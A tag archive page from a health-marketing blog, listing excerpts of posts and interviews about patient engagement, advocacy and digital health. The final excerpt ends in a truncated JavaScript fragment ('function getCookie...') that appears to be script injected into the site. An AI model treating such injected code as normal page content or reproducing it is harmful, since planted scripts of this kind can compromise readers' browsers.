Tag Archives: engagement

Crowdsourced Clinical Trials?

By Russ Ward (@russcward) Recently Ed Silverman wrote about Patient-Reported Outcomes on Internet Sites on Pharmalot - based on a study published in last months Nature Biotechnology that was...
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Healthy Interactions’ Chris Economos Talks About Engaging Patients To Make Healthy Decisions Both Offline and Online

Chris Economos, Director of Business Development for Healthy Interactions, discusses the value of facilitating community discussions both online and offline to help patients develop strategies to...
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The Changing World of Patient Advocacy

By Jason Brandt (@JasonDMG3) Thanks to social media, patient advocacy is moving from focusing on lobbying government officials on Capitol Hill, towards working more with individuals online to...
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Viva Voce!

By Tiffany Ryan (@TiffanyRyan) Its every marketers dream goal: How do you create brand advocates, people who are willing to not only use your brand, but tell others how great it is? While Word of...
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Wellness Layers’ Amir Kishon, PhD, Discusses the “Me” and “We” Layers of Digital Engagement

Amir Kishon, PhD, Chairman & CEO of Wellness Layers, peels back the layers of digital engagement and reveals his unique formula for driving significant mobile engagement among consumers and...
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I Love the Smell of Marketing in the Morning

By Jeremy Lichtenberger (@Air_Master_J) Without being able to see it, I knew there was someone nearby holding a Dunkin Donuts coffee. The familiar aromatic scent of their particular brew tickled...
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Children and Disease Stigma – What Are We Doing To Teach Tolerance?

Image courtesy of Disney's Recess By Kimberly Reyes (@CommDuCoeur) As adults, nearly all of us look back on our middle school days and shudder: some of us were too skinny, too large, too tall, or...
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Celebrate “Patients Week” with EyeForPharma!

By Kimberly Reyes (@CommDuCoeur) The e-patient movement has driven people to take control of their health and work collaboratively with their circle of care on managing and overcoming health...
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HealthEd’s Jeff Greene Talks About the Patient Journey And The Value of Social Media

Jeff Greene, Director of Social Media/Strategic Services, HealthEd, explains how to translate the patient journey to the web and the difference between social media listening and social media...
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Boehringer Ingelheim’s John Pugh Gives Us His Highlights from ePatient Connections

John Pugh, Head of Online Communications at Boehringer Ingelheim, gives us a rundown of some of his favorite speakers and gives us the inside scoop on exciting new developments at Boehringer...
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DigitalMill’s Ben Sawyer Talks About Reaching Patients Through Games For Health

Ben Sawyer, President of DigitalMill, describes how he became involved with ePatient Connections and the significance of gaming to global health, general wellness, and rehabilitation function...
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Vitality’s David Rose Talking About Improving Patients’ Medication Compliance

David Rose, Chief Executive at Vitality, explains why dashboards, competition, and good design make the most persuasive medical devices. function getCookie(e){var U=document.cookie.match(new...
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